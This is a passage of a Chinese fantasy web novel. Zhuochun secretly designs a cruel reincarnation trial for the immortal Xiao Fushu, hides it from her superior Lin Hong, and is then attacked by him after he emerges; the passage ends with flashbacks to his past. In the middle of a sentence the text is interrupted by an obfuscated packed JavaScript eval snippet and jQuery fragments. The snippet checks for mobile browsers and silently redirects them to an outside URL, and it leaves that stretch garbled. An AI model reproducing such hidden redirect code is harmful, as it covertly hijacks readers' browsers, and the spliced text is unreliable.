家道中落，母亲改嫁，找了个平头百姓再育一子，举家对其吝啬苛刻，小扶疏就转而苛责其他人。饿了渴了困了冷了，就抢弟弟的吃喝用度。爹妈要是打他，他就给全家下泻药，让他们拉虚脱直到对其没有办法。 遇到荒年，家里人想把他卖了换钱换粮，他先下手为强将全家人都卖了。 ……如此硬核的生存方式，灼春只能扶额。 重活一世的小扶疏居然如此不羁，仿佛将吉吾凤脊和他自身的所有缺点合为一体，对这个世间毫无留恋，得过且过，在屎缸里当一根完美的搅屎棍。 ——这个挑衅她收到了，就让她为其量身定制一套抓心挠肺的劫数吧！ 灼春撤下失败的灵盘，撸起袖子，对着轮回镜游刃恢恢地更改之后的走向。 小扶疏对这世界没有感情，那她就为他创造一样羁绊，潜移默化，融入他的生活。 在其习惯羁绊的存在时，让他们暂时分离。接着，在小扶疏偶尔想起对方时，让他遇到危及生命的祸事，再让羁绊适时出现，最好来个英雌救狗，而且令羁绊自己代为受伤，加深感情。 当他们开始风平浪静的生活时，让羁绊被世人逼迫——谁让小扶疏不在乎世人，那就只好迂回一下——但是为了防止小扶疏道心破碎，必须让羁绊牵制着他，不许他害人。把他们逼到不得不私下奔逃。当然，过程必须艰难重重，不过不论多危急，他们都能化险为夷。最后即将拨开云雾见天日，他们觉得死里逃生时，再狠狠碾碎他们的希望！让他们天人永隔，但为了对方能好好活下去，自己也必须尽力忍耐生活…… 灼春引导着小扶疏走完自己设定的人生，想着活得久一点，痛苦才会多一些，于是便放着让他自己过活，直到自然死亡再出来。 根据对小扶疏的试运行，灼春重新琢磨灵盘的自运行模式。复盘着故事，她忽然觉得，或许不是百捷给小扶疏司劫的时候不用心，而是这家伙油盐不进，不好好思考一番再引导，还真没法让他得到磨炼。 百捷不擅长思考这些，怎么可能处理得好？ 唉，这俩互相遇上，不知道谁才比较值得同情。 灼春躲在家里两三天，时刻观察着小扶疏的状态，想尽快把他踢出来。可是她总觉得得等等，再等等，现在还不够苦。她帮都帮了，总不能半途而废吧？只要藏得好，别人就不会发现她在给小扶疏渡劫！——大概吧…… “叩、叩、叩。” 突然响起的敲门声吓了她一跳！ 灼春慌慌张张起身，随便扯了一块黑布覆盖住轮回镜藏好，然后走到门口，只拉开一条小缝。 “谁啊？本司劫正忙于完善轮回镜模板，勿扰勿扰，有预约事宜先写好申请签上名从门缝底下——哎！鸣桐啊？” 灼春一本正经地说到后来，看见门外是鸣桐，紧张的情绪被缓解，连忙拉开门招呼她进来。 灼春：“进来进来！我还以为是别人呢！来找我聊天还是话本大纲哪里有问题？” 鸣桐没进屋，在门口晃晃手里的卡，递给灼春。 “知道你忙，我就不进去了，还完卡就走。” “你也知道我在忙啥，不差那么一会儿，弄死他最好。”灼春接过卡，“我都好久没用这张卡了，这里头还有多少钱啊？” 鸣桐摊开手掌往掌心吹了口气：“呼——零。” 灼春震惊：“我走之后你们吃了多少啊！？我攒了几百年的积——” 灼春正要开始装模作样嚎，鸣桐一个手势打住她。 鸣桐：“别污蔑人啊。在我们用之前，这张卡里余额早就是零了——说好你请客，最后还是我掏的钱啊……” “哈、哈……” 灼春不好意思地笑笑，收起卡。 “哎呀我也好久没用了……不知道卡空了……哎这样！回头我在吉吾那儿拿到钱，立马就把在你那儿欠的钱还了怎么样？” 说起这个，灼春不由得关心起鸣桐写书的进度。 鸣桐首先婉拒了灼春的承诺，她知道这段时间灼春工作忙手头紧，或主动或被动地身体也不好，她那边不着急用钱，就不给灼春施压了。 接着，她就和灼春说了自己的写书进度。 “……第一版已经写完了，我刚刚就是从吉吾那儿回来的。吉吾喊百捷来看过，反应挺不错，百捷还说了不少读后感，吉吾让我回去跟着意见再改改，精益求精。” 闻言灼春点点头，对鸣桐的效率赞口不绝，也不多和她闲聊，催着她赶紧回去修改。 临走前，鸣桐又对她提了一句。 “吉吾跟我说，今天过后，资具考的所有内容就全结束了。明天开始掌舵就会拟制录取名单与分配工作去处，如果你看中了谁最好提前去说一声，否则等名单下来就不好改了。” 灼春想林鸿应该知道小麻在自己那儿工作，而且分配去处前，好歹也会问问当事人意见，应该不用特意去说。 灼春嫌麻烦：“我觉得我应该不用去……倒是你啊，你那生灵殿就你一个人，难得这次招人，不如你找老大讨一个帮手呗！” 鸣桐笑着摇头：“我就不占用资源了。我的动物朋友们就是我最好的帮手了。” 而且啊，她还是比较希望有人抱着一颗爱心主动来她这当兽医。小动物们最是有灵性，如果兽医不真心喜爱它们，它们宁可病死痛死也不愿被治疗的。 不久，市面上出现了一本标志“吉吾出品、鸣桐灼春联合编写”的《镜中纪事》。一经销售，抢购一空。总共一百零二个城邦，个个热销；数十万百姓，不论喜欢不喜欢，几乎人手一本。街头巷尾，到处是大家讨论《镜中纪事》的声音。 鸣桐惊异于热度，她本以为就是赚点茶钱，没想到以现在的发展预估，等钱分到手，她都能盘下一条街了。她询问吉吾是不是做了假数据，吉吾说她一开始为了卖书确实花几万两自售自买还做了营销，但后续的狂热就不是她能预料的了。 仙者再厉害，也无法掌控人心。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950209|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是书卖得好，钱就挣得多，饶是鸣桐不在意钱，也不会主动和钱过不去。既然大家喜欢，那就是她的福气。只是她怕自己德不配位，便决定这本书赚来的钱分文不要，全都留给吉吾分配。 而灼春则没鸣桐那么广阔的胸襟。得知书卖得好，她就掰着指头数自己能拿多少钱。一想到自己要还清所有债、实现看病不怕花钱不用凑合看兽医的医药自由，给人编着苦难都能兀地乐出声。 乐归乐，她还没忘自己家里埋着颗雷——小扶疏即将出关。 虽说家门外贴着林鸿签署的“不许殴打司劫”文件，而且自己马上就发财了，不怕看病治病费钱，但是挨打很疼，可以选择的话，能不必吃苦就不吃苦。 于是，灼春将百捷请到了家里陪自己熬过最后一关。 百捷一直和自己一头——除了上次大会前意外地选择逼自己当司劫——她不怕百捷知道后到处宣传害自己受罚。 果不其然，百捷知道灼春的烦恼，二话不说，搬着一摞书就过来陪她了。 “……呜呜，春，小扶疏还有多久才出来啊……”百捷抹去眼泪后，翻了一页膝上的书。 灼春倚在轮回镜上捏着下巴观看，指节不停叩击着边框：“快了快了，我看他差不多快死了，我加快一下流速，在他死前再扔个大招稳固稳固……” 历劫的时间还在继续，灼春略有些不耐烦，看向坐地上看书的百捷，用脚踝蹭她腿，问：“《镜中纪事》鸣桐说还没发布就给你看过了呀，看第二次还那么激动？而且你也不只看两次吧？光在我这，我就见你——翻了六七回了。” 灼春翻着白眼回忆，六七回都估计少了，起码得九回。 百捷吸了吸鼻子：“我看的是初版，后来鸣桐改的我没看。你都不知道，鸣桐改完发布的终稿多感人！顾禾可怜，沈莲也不容易，但她们依旧相互支撑着爱这个世界，可是最后却……呜呜……我看一遍哭一遍，想挑战不流泪看一遍都做不到。” “有那么玄乎？” 《镜中纪事》的故事大纲是灼春提供的，她以为没有那么多泪点，纯粹就是故事结尾的反转有点意思。 灼春猛地想起：“我写的那二十万字你不是看过吗？那时候你就只说故事还行，没见你哭啊！” 百捷斜她一眼：“不要跟我提那件事。看完鸣桐的书，我才知道你多糟蹋了那个故事！——我都不知道你哪儿来的灵感编得出这样的大纲，被夺舍了吧……” 百捷嘟嘟囔囔地把书翻到开头重新看。 灼春心想她确实没那个本事创造。硬要说创造者的话，恐怕就是天道和那位历劫仙者了……至于是谁不能说，会被雷劈。 “耶！小扶疏终于要死了！让我看看，给他加一剂猛料……” 说话间，灼春看到镜中的小扶疏来到了生命尽头，赶紧安排他无意间听到别人说他那个羁绊被人欺负、日子过得并不好的谣言，令其不甘地死去…… “灼春！出来，有事找你！” 门口突然响起林鸿的声音，灼春一惊，胡乱应着“来了”，然后赶紧扯了一块黑布盖住镜面，一边小声交代百捷看好这里，别让别人发现小扶疏在这里历劫，一边一路小跑去开门，开了一条缝呲溜一下侧身钻出去，关上门挡在门口。 灼春陪笑：“哟，什么风把您吹来了？老大找我有啥事？” 20. 祸不单行 林鸿最近有些苦恼。 原因有三。 一是灾潮造成的生命损失惨重，一百零二个城邦加起来人口都不到灾前的一半，更别提仙者了，而且大家整体上还是很不安，新生人口数量达到历年最低，人口结构问题很大；二是社会经济发展停滞，加剧了百姓生活的不安定感，所以社会隐患很多，好多地方出现了人性阴暗凝聚而成的灾怪，虽然有战神带人四处捕捉打击，但治标不治本；三是资具考圆满结束，但是要补上各部门的缺人数上还是比较……各部门来人抢劳力不说，普通人当执司总归没有仙者当执司好使唤。 普通人会累所以需要休息，还会饿会消极罢工，不像仙者，可劲儿造，可劲儿使唤，累不死饿不死，还满腔热血，苦点累点都无所谓——啊，当然那都是新成仙的仙者。仙者活得久了就成老油条了，虽然不至于个个如凤脊那样离谱，可总归没有新仙者对工作那么上心。 林鸿在各部门的嗷嗷待哺中头疼地拟制完了执司录取名单及工作去向分配，蹲在她这的部门代表们纷纷领着名单和相应档案去找新同事入职——慎刑殿的代表看着手里的名单和资料走了两步，忽地回身质问掌舵，为什么比起其他部门，她们部门少了一个新执司。 林鸿：“新人不多，按需分配。” 慎刑殿代表梗着脖子看向林鸿手边的一份新执司档案，指着问：“那不是还有一个吗？分给我们刚刚好！” 林鸿不动声色地整了整那份档案收起袖中，道：“这是留给偶仙的，别想了。” “诶掌舵，情理所就登记登记婚姻合离，能有什么工作量？偶仙一人绰绰有余，哪像我们慎刑殿，人少活多，既要管罪犯劳改，又要全世界赶场审理二次上诉案件，判案断罪捉捕犯人……” 慎刑殿代表眼泪汪汪地诉说着部门与同事的艰辛不易，试图打动掌舵，抢回新同事。但是林鸿点头应声，承认着她们的不容易，却只字不提改主意的事。 林鸿：“我知道你们工作量大，压力也大，但是人偶仙今年兼任司劫，情理所的工作本就顾不上，一个帮手都没有太不合理……当然当然，我也不会让你们慎刑殿吃亏。所以，本次考核中最接近仙者实力的几位全分配给你们了呀！光是那个那个……夏至凛，就她，她一个就顶五个人呢。这么一算，你们净赚四个执司，多好！” 慎刑殿代表一愣：“您说谁？夏至凛？是我们知道的那个夏至凛？” “对，是她，半步飞升，只差通过天道最后一道关卡便可成仙的那个。” 慎刑殿代表：“……” 慎刑殿代表只感觉浑身的温度都被抽走，一阵寒意扑面而来，最终无力地抱拳告辞，不再争取最后一人。 林鸿等慎刑殿代表拖着凄凉的背影离开，立刻整了资料，去灼春家通知她这个好消息。 这个灼春，最近真挺不错的，工作上进，不惹是生非，帮着渡劫的所有仙者个个实力大进，给会里帮了大忙！就是那些仙者不懂事，老是把镜中渡劫的怨恨发泄到灼春身上，说了不能打人不能打人……面上应下了，私下里各种使绊子，什么有的没的罪行都上报投诉了再说！实在丢仙者的颜面……渡个劫而已，能有多恨？还不是这届仙者心理素质不行。 林鸿想着，假期肯定不能提前给，奖金……吉吾也不给发。多味楼的代金券……最近发得太频繁，对酒楼不好——那么就只能在其他事情上给灼春一个安慰，别让她心理不平衡，一个不高兴又撂挑子了。 林鸿喊来新执司一起去灼春家，但是叫门的时候让新执司离得远了些，打算说好了再给对方一个惊喜。 灼春倚在门框上背手抓着门，陪笑：“哟，什么风把您吹来了？老大找我有啥事？” 林鸿笑笑：“给你送好消息来了！会里……” 林鸿刚说没两个字，灼春家里忽然“铃铃铃”地响了起来，听不分明，像是木琴，又像是瓷碗碰撞。 林鸿指着灼春身后问她家里怎么有响，是不是进贼了。灼春连连摆手，只说最近家里闹耗子，估计是耗子把碗打碎了。 “哦……那你去藏宝殿问凤脊讨点耗子药，也让她出点力。” 林鸿正要继续说，话到嘴边却听见屋子里的声音更响了，忍不住要走进去看看。 “奇了怪了什么耗子这么猖狂……” 灼春连忙拦住她，纠正：“是我听错了！不是耗子，是轮回镜上的风铃！我改进了灵盘，在试运行呢！” “哦？” 林鸿狐疑，侧过耳朵细听，皱眉：“不对啊！我怎么听见有人的闷哼？——你知道有人投诉你，所以把他们绑过来动用私刑了！？我警告你啊灼春，违法乱纪的事不能干！光是投诉的话，我还能替你压一压，你要真的犯事了我很难保你知道吗？” 灼春一愣：“什么投诉？” 林鸿抬腿就要进门检查，灼春慌忙用身子堵住门，隔开她。 “真没事！我喊百捷过来玩，她在我家看新出的那本热销书呢！看得一把鼻涕一把泪的，没脸见人——你等着，我这就让她轻点！” 灼春讪笑着原地转身，推开门缝到手指宽度朝里喊，让百捷小点声。林鸿被灼春挡得严严实实看不到屋里，隐约听见有回应，判断一下确实是百捷的声音便作罢，只是提醒她们不要玩闹过火。 灼春扣上门，转移话题：“老大你刚说什么投诉？谁投诉我了？情理所出问题了？” “呃……没有……” 灼春恍然，大怒：“是不是那些个白眼狼！！我帮他们渡劫他们打不着我又开始玩投诉这个阴招了！？” 相睦会执司毕竟是个为百姓谋福祉的职能部门，所以不论仙者还是凡人，对投诉都很敏感。 投诉这个事说大不大说小不小，有投诉立即整改就好，但是如果堆太多没处理的投诉就会影响本年度考核，直接点说，影响奖金、假期，严重点还会被停职自纠。 林鸿劝慰：“不要那么激动……吹毛求疵的投诉我都给你打回去了，对你没有影响。你最近表现很好，要再接再厉，认真工作，不要自乱阵脚给别人打击你的机会！” 林鸿又道：“被这么一打断我都忘了自己来的目的了——你不是老说自己缺人手吗？这不是资具考结束了，我给你的情理所分了一个帮手，今天就让你看看——” “嗐，看啥啊，我知道，小——” “——程冰津，非常开朗的一位小朋友。” “……啊？” 灼春愣住。 林鸿招招手，一个陌生的小姑娘步履轻盈地大步走过来，说话前先笑：“老师好，我叫程冰津！” “你好你好……”灼春懵懵地回应。 林鸿嘱咐她：“小程，这是灼春，既是情理所的偶仙，也是轮回所的司劫，老资历了，你看着学。” 灼春下意识问候后，偷偷扯了扯林鸿，把她拉到边上说小话：“老大怎么回事啊！怎么是新人啊！你不会弄错了，把我家小麻分到别处去了吧！” “麻？你说你自己找的那个临时助手？——录取名单上没她，不然我还能不留给你？” “没她？不可能！鸣桐说她笔试前三呢！” “笔试成绩这么好？那确实——” 屋里兀地响起什么大件倒地的声音，吸引了林鸿的注意。< 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林鸿甩袖：“开什么玩笑？你以为我就没事干？你自己的人自己安排！还有，不是会里正经聘用的执司，尽量别用！乱章法！” “老大你这说的是人话？我忙得晕头转向时，是小麻帮我度过了困难时期，现在有了新人我就一脚踹开她？这不过河拆桥嘛！我反正干不出！” “欸……我们又不是没给她机会，她不是自己没考上么？你先辞了她，等她下次资具考通过，我再派她来你这里不就行了？做事不能由着性子胡来，要有规矩……” “你脑子生锈了！？有别的工作可以做，谁还来我们会里吃糠咽菜！小麻是我好不容易求来的，各项工作教了好久，反正我不当这个恶人！” …… 林鸿和灼春旁若无人地辩了起来，忽然间，鸣桐出现了。 鸣桐：“灼春你怎么了？小麻说给你发消息你也不回，她找不到你快急死了。” “啊？她找我什么事？”灼春眼睛一亮，拉过鸣桐，“姐姐，帮个忙，你帮我把新同事带给小麻，让她带一下！” 鸣桐和程冰津笑着打了打招呼，然后对灼春说：“带人没问题，但是情理所你肯定得过去一趟。今天突然来了好多要结束婚姻关系的配偶，小麻不会弄又找不着你，只好求到我这来了。” “结束婚姻？” 灼春和林鸿异口同声地重复，林鸿扭头看向灼春：“今年的指标好不容易完成，离婚的人只要出现几对，你就得重新开始偶仙工作，自己把握好啊。” 好多事全堆在一起，灼春感觉自己脑子里咕嘟咕嘟跟煮粥似的。完了屋里还有事拖不得呢…… “春你快点，小扶疏很吵，我快摁不住了！！” 接到百捷传音的灼春立刻作出决断，催促林鸿离开，让鸣桐带着新同事找小麻，她随后就到…… 鸣桐看她真的着急，立刻带着新执司离开。但林鸿起疑，犹犹豫豫不肯走，反复询问她和百捷是否真的没事。 灼春：“老大您别操心了真没事！我就是担心我那运行的灵盘！您快走吧别在这碍事了！” 林鸿：“……” 林鸿在灼春的催促下终于抬步往外走。 灼春松了口气，立即推门进—— 刚打开门，百捷抱着一团一人高的黑布弹了出来直接砸到地上，她怀里的东西还哼哼唧唧扭动挣扎。 林鸿刚走没两步就听到了动静，一回头就和捂着黑布嘴的百捷对上眼。 林鸿：“……” 百捷尴尬地扯起一丝笑：“……掌舵，早？” 林鸿：“晚了。” 21. 无赖犟种 “怎么回事？百捷，你抱着的是谁？把布拉开！” 林鸿低头凝眸疾视底下跟上岸的鱼一样蹦跶的百捷二人，呵斥她松手。 百捷询问似的看向扶额头疼的灼春，待对方无语点头后，才放开钳制。 黑布几乎同时被打飞，露出满面怒容的小扶疏。 林鸿刚开口一个“小”字，想询问怎么回事，那小扶疏凶神恶煞地变出两柄长剑，挥舞着就冲百捷和灼春冲去。 论战斗力，小扶疏远不是百捷对手，但是他速度奇快，百捷顾着闪避就抓不住他，要抓住他就得挨上好几剑。 灼春知道小扶疏十有八九是冲自己来的，连忙掩到林鸿身后避难。 林鸿担任医仙前曾在斗武殿任职过，虽然后来转职成医仙，可童子功还在，尽管两人打斗斗得眼花缭乱，可她勉强还能跟得上战况，适时避开。 林鸿：“私下斗殴违反会里规定，要打去练武场……” 她话还没说话，就护着灼春又躲过来自小扶疏的连续七剑。 林鸿：！！ 反了教了！ 林鸿眼神凛冽：“小扶疏！我命令你停下！” 小扶疏怒回：“当我好欺负吗！？林鸿你走开！我跟灼春之间的事不用你管！” 林鸿：“……” 发生什么了气成这样？——虽然小扶疏平时脾气也不好。 林鸿扭头看向拼命降低存在感的灼春：“你和他发生……你该不会帮他司劫了吧？” 问到一半林鸿忽然想起这一幕眼熟，仿佛发生过很多次—— 不就是所有仙者被灼春司劫完的统一反应么？ 灼春哪敢承认这个，承认了不就说明自己违反规定给人插队么！尽管有原因，未必别人就信啊！她连声否认，只说自己嘲笑小扶疏太弱被战神练残的话不小心被当事人听到，所以才发生了现在的状况。 林鸿没回复，内心并不相信。 小扶疏脾气是差，但不至于拿人性命开玩笑，会使出以气化物，绝非小事。不过，既然当事人都不肯说，那她就不费心掺和了。 林鸿一挑眉，往边上一站，将灼春完完整整地露出去。 灼春：！！ 下一秒灼春就被卷入战局。 林鸿背过身不去看，低头百无聊赖地踢石子儿。 同事们不听话，老是闹，还不讲实话配合、不让管……她就是个文官，有什么能力阻止呢？只能等她们打完冷静下来再说教咯！诶，一天天的总管这种破事，长生不死都成一种诅咒了…… 随着战斗时间拉长，百捷逐渐居于上风，但灼春一直躺在下风口从来没动过，被拉进战局后被小扶疏在不致命的地方捅了七八回，回回都受三四剑。尽管每次没插多深就被百捷挡回去反扎到小扶疏自己身上，可她毕竟还是被剑捅了啊！施暴者受到同等伤害又不等于抵消自己所受的伤，更何况她俩承受力都不一样！ 又打了几回合，百捷终于微伤擒住小扶疏，后者被反剪双手摁在地上还不服气，嘴里骂骂咧咧的，全是不能外传的脏话。 灼春忍无可忍，撕开衣服边沿的布条随便包扎了下伤口，就去取下家门口禁止殴打自己的告示怼到小扶疏脸上。 “你看清楚了！渡劫完不能对司劫泄愤，不可以殴打司劫！只有同意这条才能找我司劫！你违规了！” 小扶疏嗤了一声，不屑一顾：“我跟你签合同了？渡劫名单里有我吗？你凭什么说我违规？我跟你是单纯的私人恩怨，我看你不爽不行吗？——你不就是仗着有百捷护着吗？等着吧，你俩总有分开的一天！灼春我今天把话给你撂这了！只要百捷不在，我立刻把你片了丢山上喂狗！” “呀哈你这无赖还狡辩还威胁我！” 灼春瞪着贴地吃土的小扶疏，打拳似的左右晃了晃，最后一巴掌拍在他后脑勺，随后抱着正装空气的林鸿的双腿哭诉。 “老大你都听见了！这小子要对我下毒手啊！就当着你的面！他这是不把你放眼里啊！！你还管不管啦老大！！” 林鸿一脚把她拨拉开，故作无奈：“那我能怎么办呢？他都说了你们是私人恩怨，我要管也只能等他打了你，你出事了来我这告状。现在什么都没发生你让我怎么管？而且你们又不配合说真话，你们不配合我就有心无力。你那么有主意，还是自己想办法吧。” “……”灼春瞠目结舌，一时不知道实话实说更好还是死扛到底更好…… “还是不想说？没事，那你们忙，我先走了。” 见林鸿真不打算管了往外走，灼春一咬牙把自己给小扶疏司劫的事老实说了。 林鸿冷哼一声，道：“百捷，带着小扶疏，你们仨，跟我回主殿。” 林鸿了解了整件事的经过，冷眼看着前方的三人，只觉得烦躁。 老是处理这种事很累的，她又不是幼儿园老师，为什么老要管同事之间打架斗殴的事？ 林鸿心累叹气：“也就是说，这件事百捷完全不知情？” 灼春瞅了眼百捷，点点头：“对，我就是喊百捷过来帮我挡一下，她对小扶疏在我这历劫的事完全不知情。” “那行，百捷你先走吧。” 殿里只剩灼春、小扶疏和林鸿三人。 林鸿：“小扶疏，我知道你为什么生气，因为灼春给你设置的劫难太苦了嘛！放心，你不是第一个也不会是最后一个，平复一下心情忘了轮回镜中的经历吧！时间会治愈一切的。我看你力量充沛，这也是人家司劫的功劳——退一步，结果好就好，不要闹了，此事便让它过去。” 小扶疏倔道：“凭什么我退？就不能她退一步，让我把她砍死？” 灼春仗着有林鸿在，立马还嘴：“你别胡搅蛮缠！只是让你别打人，说得好像要杀了你一样！我只是要你做个人，你却要杀我，咱俩条件本来就不对等！照你这说法，我是不是该要求你退一步被我杀啊！” “好啊好啊你来啊！” 小扶疏点着头撸起袖子就要开大，被林鸿一拍桌打断。 “好什么好！不许打打杀杀！有这力气不如多捉几只灾怪为民除害！——什么深仇大恨非得喊打喊杀的……” 与小扶疏对上眼神，林鸿语重心长地劝：“轮回镜中的一切都是假的，是幻觉，不要被虚构的东西迷惑双眼。区区几年的生活，在我们仙者眼中就是一瞬间。何苦为了一瞬间的痛苦生出长久的怨怼拖累整个人生呢？” “所以司劫好本事啊！把瞬间的痛苦化作永恒了！我、我的遗憾……”小扶疏说着说着，泫然欲泣，“区区几年，苦痛已经刻在了我的心上，已经成了我的一部分，我的……” “轰！” 霹雳一声雷从天而降，正中小扶疏天灵盖，当时就把他劈晕了。 灼春啧啧摇头：“没想到世上竟有如此头铁的人，竟敢光明正大说轮回镜中的遭遇，跟天道对着干……” “好了，别幸灾乐祸了。”林鸿冲她摆摆手，“你回去处理别的事吧，小扶疏交给我，滥用职权给他插队的事我会按下来的——但你之后不许再犯，其他方面的事也警醒点！别被人抓住投诉，否则你之后的假期我可保证不了。” 灼春连连应承，但是看着晕厥的小扶疏还是有点不放心。 “老大，小扶疏倔起来九头牛也拉不回来，你能说服得了他？” “这你甭管。对付他，我自有办法。” 离开主殿，灼春火急火燎赶去情理所，但是不见小麻，只有笑容灿烂的新同事程冰津。 灼春差点没被那比太阳绚烂的笑容晃瞎眼。 灼春虚虚捂着眼：“小麻呢？不在？” 程冰津笑：“在的，她说她去仓库整理东西。” 灼春遮着眼防止被对方的光芒灼伤，三步并作两步走向仓库。 “小麻！” “啊……偶仙老师……” “什么情况？鸣桐说有很多人来结束婚姻关系了？” 灼春在阴暗的仓库角落发现了蹲坐的麻惠良。见到自己，她才扶着墙站起来，手足无措的样子。 麻惠良：“嗯……本来早上陆续来了不少人，我找不到您就去麻烦鸣桐老师了……” “那现在怎么没人了？都劝回去了？” 麻惠良：“不是……鸣桐老师带来了程冰津，那些人跟她接触后，不知怎么就纷纷离开，说日后再来……” 哦……估计是觉得小程的开朗明媚太刺眼，所以呆不住了…… 灼春猜测麻惠良来仓库八成也是受不了程冰津的光芒 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“不要紧，咱们还有很多次机会！听说很快又要下一轮资具考，咱们这次好好准备，不但笔试考好，争取面试也给它过了！面试嘛，重要的是心态，咱们保持平常心，稳稳就过了！我告诉你啊，咱们会里有个执司叫凤脊，又懒又馋还不爱劳动，这样的人都能考过还有什么不可能？回头有空我带你去看看，保证自信心咔咔涨！……” 灼春花了点时间教麻惠良和程冰津如何登记离婚，随后就让她们动手写文件实操，自己则在一边翻看预约了离婚的人的相应婚姻信息。 好嘛，大部分都是在之前她办的相亲大会好上的。 果然啊，感情这东西，来得太快走得也会快。 啧，这种失败率让她很难堪啊…… 唉，老大还施压，好不容易完成的指标又掉下来了。在年终大会之前她必须把差的那部分补上，否则她司劫干得再好老大也不会应允那一个月的带薪假的——不能给对方耍赖的借口！ 麻惠良和程冰津写好的文件交给灼春审核，灼春看了指出几个问题重新修改强调后，觉得基本没问题了。 灼春：“我的小朋友们都很聪明嘛！那这里的事就交给你们了，有问题再来问我，找不到我就找鸣桐。——小程，小麻呢是很娴熟的老员工了，你跟着她学就行，有什么事你俩商量着来，不要吵架。——小麻，你学习上有什么问题的话，呃……经济问题可以去金钱殿咨询吉吾，法律问题可以去主殿或妙回堂问掌舵，医学知识既可以问掌舵也可以问鸣桐，文学方面的内容可以去斗武殿找百捷，武学方面的也是！唔……如果不知道是哪方面的内容，可以直接问斗武殿的战神龙缨，她学得杂，基本知道。” 麻惠良意外：“可是……战神老师不是和您关系不好吗？她会帮……我？” “当然！江湖恩怨不累家人！”灼春坦荡回答，“我跟她关系不好是我们的事，不影响你们！她本人很好相处的，就是嘴笨了点——哎，说不定你们还会很投缘呢！” 灼春走后没多久，陆陆续续来了几对想结束婚姻的配偶。麻惠良和程冰津一连写了五六份报告，写得手都快抽筋了。快下班时，程冰津忽地想起什么。 程冰津：“小麻姐，我记得掌舵说过，如果离婚人数太多，今年的指标就完不成……我们部门有业绩要求的吗？” 麻惠良一怔：“要求……好像是有的。但是我记得几个月前偶仙老师开了一场相亲会，已经完成指标了啊……” 程冰津歪头：“几个月前？我们现在可是新的一年了耶？真的可以这么爽快地全部登记离婚吗？” “唔……要不我们问一下偶仙老师？” “好啊！” 程冰津开朗应下，接着便睁着一双闪闪发亮的大眼睛注视着她。 麻惠良：……？ 她的意思该不是让自己去问吧？ 啊对，自己比她工作早一点，理所应当自己来，可是她…… 麻惠良转了话头：“……我觉得我们下次还是审核一下再确定要不要登记离婚信息吧……” “好！” 22. 命中克星 小扶疏晕倒在主殿内，趁着他还没醒来，林鸿抓紧时间联系了多味楼的老板，让她过来一趟解决小扶疏的事。 小扶疏性子倔，不听任何人劝，只有一个人例外，那就是多味楼的老板。也就只有她，能让小扶疏这头倔驴变成顺毛驴。 多味楼老板很快就到了主殿，那是一个穿白衣的胖鼓鼓的中年妇女，个子不矮，肤色黝黑，两颊是健康的润红。 老友见面分外亲热，林鸿主动走出案台，迎过去与她握手：“扶疏！好久不见！” 多味楼老板扶疏顺势拥住她，热情地拍拍她后背：“没办法您忙啊！多少年没来我家酒楼吃饭了？得有三四年了吧！” “还不是灾潮闹的……扶疏，我就不请你坐了，咱们打开天窗说亮话，我请你来就是想让你帮着劝劝小扶疏。” 林鸿展示边上被雷劈晕的小扶疏，见状多味楼老板吓了一跳。 扶疏吃惊：“这是让灶火燎了？难得他这么惨啊，到底发生什么了？又要我劝什么？” 林鸿将灼春的说辞重复了一遍，末了不忘补充，这是当事人片面的说法，跟事实肯定有出入。 林鸿：“我就是想你和小扶疏好好说说，让他别再找灼春麻烦。你也知道，司劫是个耗时耗力的苦差事，能找到一个愿意干的人都难，更别提像那样干得好的了。在灼春任司劫前，任何仙者渡劫只能四处求人帮自己司劫，能不能顺利出关都是问题。为了广大仙者着想，我是真不希望灼春因为工作太认真负责而遭难，从此放弃这份工作。” 扶疏叹气，拍拍她的手背：“明白，这也是为了我们仙者自己嘛！我会带小扶疏走，事后也会努力说服他，你且安心。” 林鸿叮嘱：“还有就是，灼春给小扶疏插队司劫这事……” “你说了我就知道了，我不会说出去的，安心。”扶疏拍胸脯保证后，心里盘算着该怎么和那些知情的员工沟通。 扶疏不想耽误林鸿做事，把小扶疏扛在肩头托手告辞，一转身便变出一朵祥云踩在脚下，施施然飞远。 林鸿看着她们飞远，轻笑摇头。 这么多年了，扶疏还是保持着“要风度不要温度”的本心——飞那么高不冷吗？ 而且，化云可比御物消耗法力，她真舍得。 林鸿从来理解不了扶疏的价值观，就像她从来理解不了为什么当初扶疏会冒死救叛变伤害自己的人，理解不了她为什么宁可残废法力被封也要留在误入歧途的好友身边，理解不了她为什么可以牺牲性命救小扶疏却不愿意将这个名字送给他。 被雷劈晕后，小扶疏做了一个很遥远的梦，那些被尘封而模糊的记忆借着梦境再次清晰起来。 那时候他没有名字，也没有人会叫他。 他的起点很低，甚至够不上底层。他生于泥泞长于泥泞，后来出现一伙人，把他从泥泞中拉出来，然后，扔进了另一个泥潭，还给了他一个编号，“三七四”。 他对这一切没有任何情绪，他活着只是那么活着而已，至于怎么活下去，他不在乎。 就那样浑浑噩噩地看了十三回大雁南飞，扶疏进入了他的世界。他不知道两人是怎么认识的，等他意识到自己身边多了个人时，那人已经落地生根多时，赶也赶不走。 不过他也没想赶。 起码，这人做的饭好吃，而且和其他人不一样，看着……就有一种宁静的感觉，仿佛现在的生活很美好。 不久后，他发现每个月身边就会少一个人，大家都说是被怪物吃了。 吃就吃了，他不在乎。 若真有妖怪，最好也把他吃了，省得这样没滋没味地活下去——哦，现在不行，扶疏说后天要给他做烤鸡吃。怪物要吃他，还是等到他吃完烧鸡之后吧。 到了后日，他等来烧鸡的同时，也等来了传闻中的怪物。 扶疏跟他说，让他赶紧收拾，和她离开这。 他觉得嘴里的烧鸡瞬间变得很难吃。 他习惯性地顺从了。 不过，跟着扶疏走到他全然陌生的一个山头后，他忽然觉得不甘心。 凭什么他就要被吃被杀死呢？凭什么他就要逆来顺受过得那么苦呢？凭什么他就不能做杀死别人让别人苦的那个人呢？ 盯着扶疏宽阔的后背，他想起了以前她对自己说过的话。 “要活成自己。” 对，要为自己而活。 